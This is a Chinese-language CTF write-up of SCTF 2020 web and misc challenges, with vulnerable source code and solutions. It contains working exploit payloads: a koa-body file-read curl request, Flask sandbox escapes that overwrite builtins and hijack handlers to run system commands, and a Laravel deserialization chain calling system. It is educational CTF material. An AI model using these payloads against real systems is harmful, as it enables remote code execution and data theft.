SCTF 复盘(部分题)

web and misc

Posted by BY Diego on July 19, 2020

Web

一、CloudDisk

源码

const fs = require('fs');
const path = require('path');
const crypto = require('crypto');
const Koa = require('koa');
const Router = require('koa-router');
const koaBody = require('koa-body');
const send = require('koa-send');

const app = new Koa();
const router = new Router();
const SECRET = "?"


app.use(koaBody({
  multipart: true,
  formidable: {
      maxFileSize: 2000 * 1024 * 1024
  }
}));


router.post('/uploadfile', async (ctx, next) => {
    const file = ctx.request.body.files.file;
    const reader = fs.createReadStream(file.path);
    let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex");
    let filePath = path.join(__dirname, 'upload/') + fileId
    const upStream = fs.createWriteStream(filePath);
    reader.pipe(upStream)
    return ctx.body = "Upload success ~, your fileId is here:" + fileId;
  });


router.get('/downloadfile/:fileId', async (ctx, next) => {
  let fileId = ctx.params.fileId;
  ctx.attachment(fileId);
  try {
    await send(ctx, fileId, { root: __dirname + '/upload' });
  }catch(e){
    return ctx.body = "SCTF{no_such_file_~}"
  }
});


router.get('/', async (ctx, next) => {
  ctx.response.type = 'html';
  ctx.response.body = fs.createReadStream('index.html');

});

app.use(router.routes());
app.listen(3333, () => {
  console.log('This server is running at port: 3333')
})

简单的上传和下载功能,引用了koa-body 库,通过检索发现issue UmwS9f.png

payload

 curl -X POST -H "Content-Type: application/json" -d '{"files":{"file":{"name":"lol","path":"/app/flag"}}}'  http://ip/uploadfile

然后下载
 curl http://ip/downloadfile/对应id

[UmBPTs.png

二、pysandbox

源码

from flask import Flask, request

app = Flask(__name__)

@app.route('/', methods=["POST"])
def security():
    secret = request.form["cmd"]
    for i in secret:
        if not 42 <= ord(i) <= 122: return "error!"
    exec(secret)
    return "xXXxXXx"


if __name__ == '__main__':
    app.run(host="0.0.0.0")

我把我自己蠢哭了。。 过滤了括号,发现没法调用函数,苦思冥想感觉像 flask静态文件映射

UmsGpq.png 手册地址

通过查阅手册存在static_folder 控制着静态文件位置,因为过滤括号 发现request.referrer 为可控字符串

然后企图修改app.static_folder=request.referrer,请求头添加Referer: '/'

然后访问 /app/flag/flag等均未成功,一顿操作猛如虎,发现自己250

都忘了访问静态文件要加static,最终访问/static/flag getflag

UmsYcV.png

UmsJ10.png

引号过滤还可用request.content_md5 或者 request.content_encoding 等其他代替

其它答案

static_folder 设置为 /时代表网站根目录, 需要 ../进行翻越

_static_folder 设置为 / 代表根目录,需要 /static/app/flag才能访问到

也可从__doc__属性获取特殊字符 UmgwKx.png

三、pysandbox2

需要RCE,这题也愣是没办法参考各路神仙

本题的主要思路就是劫持函数,通过替换某一个函数为eval system等,然后变量外部可控,即可RCE

① 方法一

参考自http://phoebe233.cn/

__builtins__.ord=lambda*args:45

该方法相对简单,直接覆盖掉ord,使42 <= ord(i) <= 122 永真

当变量设置为__builtins__的属性时,变量就会一直保持到整个程序结束,不然只会持续到请求结束

小例子说明 Umo2RO.png

UmofQe.png

当变量设置为__builtins__的属性时 UmogJK.png

UmoyIx.png

__builtins__.ord 被修改如下后,就无任何限制了,直接打就完事

Umoci6.png

UmvS0S.png

Umjzm8.png

亦或者不弹shell

用同样的方法直接重写路由 Umxtvq.png

UmxJ8s.png

app.view_functions['security'] = lambda: __import__('os').popen('id').read()

UmxTGd.png

②方法二

参考自 https://www.gem-love.com payload

app.make_response=eval
app.after_request_funcs[None]=[exec]
__builtins__.xXXxXXx='__import__("os").system("bash")'

分析

UnpPbV.png

Unp9uq.png

看一下make_response的作用 默认值 UnpCD0.png

修改为print UnpSvn.png

发现make_response 就是用如何来处理return值,这里想要利用 就必须return值可控,但return值固定为xXXxXXx,因此通过eval 把xXXxXXx当作变量来处理就可控return

同时eval并不会直接解析变量并执行,只会解析变量

UniImR.png

after_request_funcs的作用是处理make_response的返回值,看一下小例子 UnikLR.png

len 处理了 变量xXXxXXx,返回值为7,然后print 又处理了len的返回值

因此payload 利用exec处理了eval的返回值 从而执行命令(随便会报错,但是命令已经提前执行)

xXXxXXx的值可用pysandbox1来处理 UnFMNV.png

③方法三

预期解:劫持函数

通过继承链调用 url_parse

request.__class__._get_current_object.__globals__['__loader__'].__class__.__weakref__.__objclass__.contents.__globals__['__loader__'].exec_module.__globals__['_bootstrap_external']._bootstrap.sys.modules['werkzeug.urls']

然后劫持成eval 参数为/index.php 即可控 因此执行命令

bestlanguage

源码

<?php
class IndexController extends Controller
{
    public function init(){
        if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1" && strpos($_SERVER["REMOTE_ADDR"],"192.168.") !== 0 && strpos($_SERVER["REMOTE_ADDR"],"10.") !== 0 )  {
            die("admin only");
        }
        if(!file_exists("/var/tmp/".md5($_SERVER["REMOTE_ADDR"]))){
            mkdir("/var/tmp/".md5($_SERVER["REMOTE_ADDR"]));
        }
    }
    public function rm(){
        if(strpos($_POST["filename"], '../') !== false) die("???");
        if(file_exists("/var/".$_POST["filename"])){
            if(is_dir("/var/".$_POST["filename"])){
                rmdir("/var/".$_POST["filename"]);
                echo "rmdir";
            }
            else{
                unlink("/var/".$_POST["filename"]);
                echo "unlink";
            }
        }
    }
    public function upload()
    {

        if(strpos($_POST["filename"], '../') !== false) die("???");
        file_put_contents("/var/tmp/".md5($_SERVER["REMOTE_ADDR"])."/".$_POST["filename"],base64_decode($_POST["content"]));
        echo "/var/tmp/".md5($_SERVER["REMOTE_ADDR"])."/".$_POST["filename"];
    }

    public function moveLog($filename)
    {

        $data =date("Y-m-d");
        if(!file_exists(storage_path("logs")."/".$data)){
            mkdir(storage_path("logs")."/".$data);
        }
        $opts = array(
            'http'=>array(
                'method'=>"GET",
                'timeout'=>1,//单位秒
            )
        );

        $content = file_get_contents("http://127.0.0.1/tmp/".md5('127.0.0.1')."/".$filename,false,stream_context_create($opts));
        file_put_contents(storage_path("logs")."/".$data."/".$filename,$content);
        echo storage_path("logs")."/".$data."/".$filename;
    }
?>

① 方法一

非预期 Laravel5.7反序列化漏洞之RCE链挖掘

利用如下链

<?php
namespace Faker {
	class ValidGenerator{
    	protected $generator ;//= new DefaultGenerator();
    	protected $validator;
    	protected $maxRetries=1;

    	public function __construct(){

    		$this->generator = new DefaultGenerator();
    		$this->validator = "system";

    	}
    }

    class DefaultGenerator{
    	protected $default="echo 1111>/tmp/4444444";
    }

}

namespace Illuminate\Broadcasting{

	class PendingBroadcast{

		protected $events;
    	public function __construct(){
    	    $this->events = new \Faker\ValidGenerator();
    	}
	}
}

namespace {

	$a = new Illuminate\Broadcasting\PendingBroadcast();
	echo base64_encode(serialize($a));
}
?>

也可用phpgc生成链

UBnLjA.png

找到.env中的key 然后再利用laravel-poc-CVE-2018-15133生成payload

UBZzAU.png

UBZv7T.png

UBZjBV.png

②方法二

路由存在文件读取功能 UBM8k6.png 在nginx 限制下 (偷个图) UBujxJ.png

但在Laravel下支持 index.php/tmp/ 这种方式

因此index.php/tmp/../../flag ngixn判断为合法,

UBM1Tx.png

③ 方法三

因为file_put_contents 不能创建文件夹,因此需要用到如下特性 UBDPoT.png 就创建了一个MD5 文件

然后再利用movelog,通过url处理差异 将创建的文件移动到session文件中,最后反序列化 /../1ce9d70517c1b90ea03c50fac5ba1ac9?/../../framework/sessions/123 UBDkYF.png

UBDFFU.png

具体session命名,和如何反序列化就不多说了

misc

easymisc

根据题目描述galf_si_erehw,猜测hex反转

with open("galf_si_erehw.jpg","rb") as f :
    text = f.read().hex()
    with open("flag","wb") as ff :
        t = bytes.fromhex(text[::-1])
        ff.write(t)

反转后 UDoszR.png 正常jpg UDogL6.png 修正 UDoDJJ.png

UDo6Q1.png 提取

UDorW9.png

假flag UDocsx.png

strings UDoReK.png

UDTB0f.png